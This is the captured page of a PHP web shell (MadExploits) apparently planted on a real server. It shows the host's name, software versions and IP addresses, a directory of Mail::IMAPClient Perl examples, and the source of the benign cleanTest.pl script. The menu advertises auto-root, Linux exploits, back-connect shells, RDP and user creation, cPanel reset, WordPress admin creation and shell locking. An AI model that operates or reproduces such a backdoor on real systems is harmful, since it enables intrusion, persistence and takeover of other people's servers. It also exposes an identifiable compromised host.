Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-Mail-IMAPClient-3.37 /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
build_dist.pl
4.08
KB
-rw-r--r--
build_ldif.pl
5.93
KB
-rw-r--r--
cleanTest.pl
1.89
KB
-rw-r--r--
copy_folder.pl
3.96
KB
-rw-r--r--
cyrus_expire.pl
3.37
KB
-rw-r--r--
cyrus_expunge.pl
2.03
KB
-rw-r--r--
find_dup_msgs.pl
6.04
KB
-rw-r--r--
idle.pl
6.5
KB
-rw-r--r--
imap_to_mbox.pl
7
KB
-rw-r--r--
imtestExample.pl
5.59
KB
-rw-r--r--
migrate_mail2.pl
10.92
KB
-rw-r--r--
migrate_mbox.pl
3.03
KB
-rw-r--r--
populate_mailbox.pl
8.88
KB
-rw-r--r--
sharedFolder.pl
2.19
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cleanTest.pl
#!/usr/bin/perl use Mail::IMAPClient; use IO::File; # # Example that will also clean out your test account if interrupted 'make test' # runs have left junk folders there. Run from installation dir, installation/examples # subdir, or supply full path to the test.txt file (created during 'perl Makefile.PL' # and left in the installation dir until 'make clean'). # If you 've already run 'make clean' or said no to extended tests, # then you don't have the file anyway; re-run 'perl Makefile.PL', reply 'y' to the # extended tests prompt, then supply the test account's credentials as prompted. # Then try this again. # if ( -f "./test.txt" ) { $configFile = "./test.txt" } elsif ( -f "../test.txt" ) { $configFile = "../test.txt" } elsif ( $ARGV[0] and -f "$ARGV[0]" ) { $configFile = $ARGV[0]; } else { print STDERR "Can't find test.txt. Please run this from the installation directory ", "or supply the full path to test.txt as an argument on the command line.\n"; } my $fh = IO::File->new("./test.txt") or die "./test.txt: $!\n"; while (my $input = <$fh>) { chomp $input; my($k,$v) = split(/=/,$input,2); $conf{$k}=$v; } my $imap = Mail::IMAPClient->new(Server=>$conf{server},User=>$conf{user}, Password=>$conf{passed}) or die "Connecting to $conf{server}: $! $@\n"; for my $f ( grep(/^IMAPClient_/,$imap->folders) ) { print "Deleting $f\n"; $imap->select($f); $imap->delete_messages(@{$imap->messages}) ; $imap->close($f); $imap->delete($f); } =head1 AUTHOR David J. Kernen The Kernen Group, Inc. imap@kernengroup.com =head1 COPYRIGHT This example and Mail::IMAPClient are Copyright (c) 2003 by The Kernen Group, Inc. All rights reserved. This example is distributed with Mail::IMAPClient and subject to the same licensing requirements as Mail::IMAPClient. imtest is a utility distributed with Cyrus IMAP server, Copyright (c) 1994-2000 Carnegie Mellon University. All rights reserved. =cut
Close